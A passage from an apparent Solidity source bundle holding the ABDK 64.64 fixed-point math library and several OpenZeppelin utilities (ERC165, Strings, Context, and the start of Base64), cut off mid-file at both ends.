"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 